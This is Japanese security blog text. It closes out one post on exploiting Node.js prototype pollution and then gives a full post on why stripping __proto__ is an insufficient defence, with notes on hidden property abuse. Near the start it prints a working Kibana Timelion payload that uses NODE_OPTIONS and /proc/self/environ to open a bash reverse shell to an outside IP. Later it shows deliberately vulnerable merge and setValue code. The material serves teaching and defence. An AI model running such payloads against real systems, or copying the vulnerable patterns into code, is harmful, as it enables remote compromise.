あとは任意のファイルさえアップロードできれば任意コード実行に繋げられます。自分はこの後の方法が全く思いつかなかったのですが、この方は /proc/self/environ を使うことを思いつきます。これは現在のプロセスの環境変数を全て表示してくれる特殊なファイルのようなものです。

プロトタイプ汚染によって環境変数が自由に制御できるため、 /proc/self/environ に好きな文字列を注入することが出来ます。そこで環境変数の値としてJavaScriptの関数を入れてその後をコメントアウトします。つまり以下のようになります。

root@888e984965f5:/# NODE_OPTIONS='--require /proc/self/environ' AAA='console.log(123)//' node
123
Welcome to Node.js v14.7.0.
Type ".help" for more information.
>

手元で試しましたが、確かに123が表示されています。これで好きなコマンドが実行できるようになったため、あとはリバースシェル張るだけの簡単なお仕事です。

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

上記をTimelionに貼って汚染したあとにCanvasを開けば発火します。

ということで終わりですが、これに関してはプロトタイプ汚染とかよりも環境変数のみ操作できる状態から任意コード実行に繋げたところが凄いと思います。環境変数さえ制御できればnodeのプロセスが起動されるところでコマンド実行まで行けるというのは大きな知見な気がします。

まとめ

今回は事例紹介するだけのゆるふわ記事でしたが、プロトタイプ汚染をするとその後に無限の可能性が広がっていることが分かったと思います。未初期化の変数を見つけてしまえばそこからいくらでも悪さできそうです。もちろんアプリケーションの実装に依存はしますが、今回の事例のように利用している他のOSSなども考慮するとやはり危険ですしプロトタイプ汚染をきちんと防ぎましょうということですね。

理由も分からずプロトタイプ汚染を防げと言われても深刻度が分からないとピンとこないということもあるかと思ったため、今回はアフタープロトタイプ汚染(Withプロトタイプ汚染)についてまとめました。

__proto__の除去でNode.jsのプロトタイプ汚染を防げないケース

前提

Node.jsのプロトタイプ汚染について書いているのですが、プロトタイプの説明(prototype__proto__ の関係とか)を定期的に見直さないと綺麗サッパリ忘れる程度にはNode.js触っていないので、何かおかしいところあればご指摘お願いします。

概要

Node.jsではここ数年プロトタイプ汚染攻撃が流行っています。概要は以下を見れば分かると思います。

jovi0608.hatenablog.com

そもそもプロトタイプって何?という人は以下の記事が分かりやすいです。自分はお守りのように定期的に読んでます。

qiita.com

外部から送られてきたJSONなどをパースして変換し、そのオブジェクトをmergeやcloneする際に __proto__ を上書きすることで Object.prototype を汚染するというものです。このオブジェクトが書き換えられると、新しく作られたオブジェクトの __proto__Object.prototype を指していてかつプロトタイプチェーンによって __proto__ を辿っていくため、全く関係ないように見えるオブジェクトまで影響を受けてしまうというものです。toString や valueOf なども Object.prototype に定義されているためそれらを上書きすることも可能です。ただ基本的には関数の処理を定義できるわけではないため、どこまで出来るかは実装次第かと思います。

この攻撃方法は色々なライブラリが影響を受けたため各OSSで修正されました。どのように修正したかと言うと __proto__ がkeyの場合にはskipするというものです。対策としてはObject.freezeを使う、Mapを使う、など色々あるのですがfreezeを想定していないライブラリが動かなくなったり、Mapに全て置き換えるのは変更点が大きすぎる、など修正が容易ではないと判断され、一旦 __proto__ の除去で落ち着いたのではないかと考えています。

こちらのはせがわさんの記事でもJSON.parse内で __proto__ を除去する方法を取っています。

techblog.securesky-tech.com

ですが、実は __proto__ の除去では修正が不十分だったということでライブラリのいくつかはその後に追加で修正しており、その内容について今回は紹介します。

一部では当たり前の内容だとは思いますが、意外とまとめている記事が見つからなかったので書いてみました。

詳細

オブジェクトのmerge/cloneなど

上のQiita記事内のプロトタイプの図を見た方は気付く方もいるかと思いますが、 Object.prototype に至る道は __proto__ のみではありません。 obj.constructor.prototype でも Object.prototype にアクセス可能です。この場合、 __proto__ というプロパティ名は出てこないため __proto__ の除去では防ぐことが出来ません。

Snykのブログでlodashが追加で修正された旨が説明されています。

snyk.io

どうでも良いのですが、自分は脆弱性スキャナーを作っておりこのlodashの脆弱性がテストプロジェクトでずっと検知されていました。Snykが公表したのが2019/07/04だったためそこで脆弱性データベースに修正バージョン無しで登録され、lodashが4.17.12を2020/07/09に公開するまで1年間検知され続けていました。

さて、では実際に脆弱性のサンプルを見てみます。まずはシンプルなプロトタイプ汚染です。

function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function merge(a, b) {
  for (let key in b) {
    if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}

const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"polluted":1}}');
merge(obj1, obj2);
const obj3 = {};
console.log(obj3.polluted); // 1

これは __proto__ が上書きできてしまうため脆弱です。では __proto__ を除去してみましょう。

function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function merge(a, b) {
  for (let key in b) {
    if (key === '__proto__') {
      continue
    } else if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}

const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"polluted":1}}');
merge(obj1, obj2);
const obj3 = {};
console.log(obj3.polluted); // undefined

__proto__ を除去しているため、JSONの入力として __proto__ を渡されてもプロトタイプ汚染は起きません。では先程の constructor.prototype を使うケースはどうでしょうか?mergeとisObjectは同じなので割愛しています。

const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"constructor":{"prototype": {"polluted": 1}}}');
merge(obj1, obj2);
const obj3 = {};
console.log(obj3.polluted); // undefined

実はこれは安全です。ちょっと煽り気味にここまで溜めましたが、この例では実はバイパスできません。理由は isObject の実装にあります。typeof obj === 'object' していますが、obj2.constructorはfunctionになるためここでfalseが返ります。

> typeof {}.constructor
< "function"

そうすると再帰でアクセスされずelseの方に入り単に上書きされます。つまり、単に {"prototype": {"polluted": 1}} というオブジェクトが constructor というプロパティに代入されるだけになります。constructorの指しているオブジェクト(攻撃者が書き換えたいやつ)に対してはアクセスしてくれません。

ではlodashの defaultsDeep はなぜ影響を受けたのか?というと以下を見てもらえれば分かります。

lodash/lodash.js at 4.17.11 · lodash/lodash · GitHub

function isObject(value) {
  var type = typeof value;
  return value != null && (type == 'object' || type == 'function');
}

このように、functionの場合もtrueが返ります。最初見た時はObjectだけじゃないの?!と思いましたが上記のコメントにも書いてある通りfunctionもオブジェクトですしプロパティも持てるので、厳密にコピーしようとするならfunctionの場合も各プロパティをコピーしてあげる必要があるのかと思います。

> var a = function(){}
> a.b = 1

対策としてこちらのPRで constructor もskipするような処理が追加されています。

github.com

つまり、もしmergeやdeep copyなどを自前実装していて、functionも正しくコピーしようとしている場合は __proto__ だけ除去しても影響を受けます。可能性としては低いような気がするのですが、実際にlodashなどがそのように扱っていることを考えると影響を受ける人が0かというとそうではないかなと思ったためまとめました。

プロパティの設定

プロパティの設定でも同じです。以下のようにオブジェクトに値を設定する場合ですね。

setValue(obj1, "__proto__.polluted", 1);

setValueの実装は以下のようなものです。isObjectは同じ。

function setValue(obj, key, value) {
  const keylist = key.split('.');
  const e = keylist.shift();
  if (keylist.length > 0) {
    if (!isObject(obj[e])) obj[e] = {};

    setValue(obj[e], keylist.join('.'), value);
  } else {
    obj[key] = value;
    return obj;
  }
}

以下は express-fileupload で見つかったプロトタイプ汚染の話ですが、まさにプロパティの設定系の問題でした。

blog.p6.is

parseNested というオプションがあり、それをtrueにすると {"a.b.c": 1}{"a": {"b": {"c": 1}}} に変換されます。これ以上は説明しなくても察すると思います。

そして例によって修正PRで __proto__ を除去しました。

github.com

しかしconstructorでバイパスできるぞと指摘を受け、今度はconstructorも除去します。

github.com

ただこうなると、本当にこの2つで防げているのか?ということが気になってきます。そこでObjectとArrayの持つ全てのプロパティをブロックしてしまおう、ということで現在はその様になっています。

github.com

抜粋しておきます。

const OBJECT_PROTOTYPE_KEYS = Object.getOwnPropertyNames(Object.prototype);
const ARRAY_PROTOTYPE_KEYS = Object.getOwnPropertyNames(Array.prototype);

...

const IN_ARRAY_PROTOTYPE = ARRAY_PROTOTYPE_KEYS.includes(k) && Array.isArray(current);
if (OBJECT_PROTOTYPE_KEYS.includes(k) || IN_ARRAY_PROTOTYPE) {
    continue;
}

getOwnPropertyNamesObject.prototypeArray.prototype のプロパティ名を列挙してそれらを全部弾くという方法ですね。

これだとtoStringとかvalueOfとかも全部弾かれるので、typeの確認ぐらいはしたほうが親切なのかなと思ったりもしましたが、余程のことがない限りは問題ないような気もするので安全側に倒すなら良いのかもしれません。

こういったプロパティの設定やドット繋ぎをネストに変換するという処理はobjectの確認をせずに行うこともあるようなので、オブジェクトのmerge/cloneよりバイパスされる可能性が少し高そうです。

おまけ

Hidden Property Abusing

先日のBlack Hatで以下のNode.jsに関する発表がありました。今回の調査内で一緒に調べたので発表を見れば分かることでありますが、軽くまとめておきます。

www.youtube.com

発表スライドは以下にあります。

https://i.blackhat.com/USA-20/Wednesday/us-20-Xiao-Discovering-Hidden-Properties-To-Attack-Nodejs-Ecosystem.pdf

こちらも勝手にプロトタイプ汚染なのかなと思って見てみたのですが、こちらはアプリケーション側が想定していないプロパティを送りつけることで意図しない挙動を起こさせる、というものでプロトタイプ汚染とは全然関係ありませんでした。

発表内で constructor を上書きする攻撃方法も紹介されていますが、こちらも __proto__ の値を書き換えるわけではなくてオブジェクトに constructor という値を新しく入れるだけです。つまりそのオブジェクトのみが影響を受けるだけでグローバルな汚染は起きていません。

アプリケーションにおいて constructor が重要な役割を果たす場合に、プロトタイプチェーンによって本来 __proto____constructor が呼ばれるところをそのオブジェクトが持つ constructor を呼ばせることで悪さするというものです。

ということでこの脆弱性は意図しないプロパティを上書きされるという観点から見るとRuby on RailsのMass Assignmentに似ていると考えられます。実際に発表内でも同系統として触れられています。

f:id:knqyf263:20200809222532p:plain

ちなみにここにPHPのObject Serializationが入るのはよく分かっていなくて、それだと他にもJavaとかRubyの安全でないデシリアライゼーションもここに入ってくるんでしょうか?今回のはオブジェクトのデシリアライズとは少し違うような気もしますが、JSONなどをオブジェクトに変換するという点でデシリアライズと言えなくはないから同じ扱いなんですかね。

言葉で説明しても分かりにくいので具体例を見てみます。

アプリケーション固有の値の上書き

以下の例ではaccessプロパティは内部関数によってのみ変更され、ユーザが変更できるものではないとします。さらにユーザがageを変更するためのAPIとして update(input) を提供していたとします。通常であれば {age: 60} というinputを受け取ってその値を使って更新するだけになりますが、受け取った入力をそのままオブジェクトにして利用する場合だと {age: 60, access: "admin"} などと言った値を受け取ることでaccessをadminに変更してしまう可能性があります。

f:id:knqyf263:20200809232802p:plain

このaccessのように外部から変更されることが想定されていない隠れたプロパティを上書きできてしまうというのがこの攻撃方法に基本になります。

MongoDB (CVE-2019-2391)

上の例ではアプリケーションが利用するために保持しているプロパティで、かつ変更が想定されていないものを上書きするという方法でしたが、こちらは内部のロジックで使われるようなプロパティの話になります。バリデーション通ったあとにオブジェクトに __validated: true のプロパティを保存しておく、といったものです。もし __validated を外部から制御できてしまったら、SQLインジェクションのバリデーションなどをすり抜けてしまうかもしれません。

Node.jsの公式MongoDBドライバでは内部で _bsontype というプロパティを使っているそうです。ここに有効でない値が入っている場合、シリアライズをしなくなるという問題があるため攻撃者が意図的に _bsontype という値をアプリケーションに渡すことで不正を引き起こすという脆弱性です。

jira.mongodb.org

以下の例ではidに対してnew ObjectIdでインスタンスを生成し、内部でシリアライズしているのだと思いますがそこを失敗させることでクエリの条件を無効にすることが出来ます。つまり、このケースでは必ず最初のユーザが返されるため他人になりすましが可能となります。

f:id:knqyf263:20200809223358p:plain

発表を聞いた感じはこのidを細工して _bsontype という値を渡す必要がありそうですが、そもそもstringが来るところにオブジェクトを入れられるんだろうか...辺りがよく分からずでした。仮にオブジェクトを渡せるとして、ユーザから渡ってきたidをそのまま利用する状況も想像できませんでした。さらに仮にユーザから渡された値を使うとしても、CookieやJWTトークンと比較して本当にそのユーザであるかの検証ぐらいはすると思うので、stringの場所にオブジェクトを渡してそういう検証をパス出来るものなのだろうか...などと腑に落ちてません。

発表では不正な _bsontype を注入すれば行けるぜ!ぐらいしか触れてなかったので、もしかしたら自分と違ってNode.js詳しい人からすると何か当たり前の前提があるのかもしれません。

今回の修正はv1系にしか影響を与えないため、v4系を使っていれば問題なさそうです。

taffyDB (CVE-2019-10790)

インメモリDBであるtaffyDBの例ですが、こちらも攻撃自体はシンプルで内部的にインデックス目的で利用されている ___id を悪用してSQLインジェクションします。___id は各レコードに対応しており、 ___id が渡された場合は他のクエリ条件を無視してそのレコードを返します。

つまり、usernameとpasswordでDBから取得しようとするようなケースでは ___id を渡してしまえば認証をスキップできるということです。この ___id の値もT000002R000002 などで推測が容易とされています。

f:id:knqyf263:20200809224702p:plain

こちらのOSSは既にdeprecateされており、この脆弱性も修正されていません。

影響するOSS

発表スライドに影響を受けるOSS一覧が載っていたので自分が利用していないか確認することを推奨します。

f:id:knqyf263:20200809225124p:plain

ただあくまで現時点で発表者が見つけたものであり、今後も同じ方法で見つかる可能性があります。今後の動向は追っていく必要があるかと思います。

Hidden Property Abusingまとめ

既にRailsなどでMass Assignmentなどと戦っていた人からするとそこまで新しい攻撃方法とは感じなかったかもしれません。Railsでは既存のDBカラムなどを上書きされないように守るというのがメインでしたが、こちらは内部で利用されているパラメータを狙ったりする点で多少異なりそうです。新しくパラメータを生やすことも出来ます。

このHidden Property Abusingは完全にアプリケーション依存です。

  1. 内部的に使っているプロパティが上書きされて困るケース( __bsontype などのケース)
  2. 外部から変更されることが想定されていないプロパティが上書きされて困るケース( admin: true など)

これらがないか、というのは各サービス開発者じゃないと判断が難しそうです。今回の発表を受けて一度見直してみると良いのではないかと思います。外部入力(JSONなど)をオブジェクトに変換するところで影響を受ける可能性があります。

今回の発表ではどちらかと言うと、このコンテキスト依存という難しい脆弱性を自動で検知するツールを作ったというところがメインに感じます。さらにそれをOSSとして公開してくれたということなので皆さん是非使いましょう。

github.com

自分もよ〜し使うぞ〜と思ってリポジトリ見に行ったらComing soon...となっていて発表に間に合わなかったんか...となりましたが、期待して待ちましょう。

このHidden Property AbusingもJSON.parseなどで入り込む可能性が高く、__proto__ の除去では防げないためプロトタイプ汚染ではないですがこの記事でまとめて説明しました。

まとめ

protoの除去でプロトタイプ汚染を防げないケースということで紹介しましたが、影響を受けるアプリケーションは限定的だと考えています。とはいえ実際にいくつもOSSが対策の不十分さを指摘され、実際にバイパスされることが証明されていることを考えると必ずしも影響がないとは言い切れないかと思います。

Object.freezeやMapの利用などでしっかりと対策できる場合はそちらが推奨されますが、それが難しい場合は外部からの入力を受け取る口でObject/Arrayのプロパティが上書きされないように弾くなどするほうが良さそうです。それも難しい場合は constructor の除外だけで済ませているケースもあります。さらにその場合もより影響を少なくするためにtypeofでfunctionかどうかを確認すると良さそうです。自分のアプリケーションではバイパスできないかもしれませんが、弾いて問題になるケースがなさそうなら対策しておくに越したことはないのかなと考えています。

そしてプロトタイプ汚染に限らず、そもそも受け取ったJSONをオブジェクトに変換するような場合はHidden Property Abusingの可能性もあるということを紹介しました。外部には露出していないプロパティを上書きされて意図しない挙動が起きることがないか、というのはアプリケーション依存なので各自で確認することが推奨されます。アプリケーションに問題なくても利用しているOSSが影響を受ける可能性があるので npm audit や他のツールで影響がないかを確認しましょう。

プロトタイプ汚染はglobalが汚染されるため一度POSTで汚染してから次のGETで発動させる、といったことも可能であり、その点でHidden Property Abusingとは異なります。Node.jsの特性上、こういった脆弱性は今後も見つかる気がしているので気をつけましょう。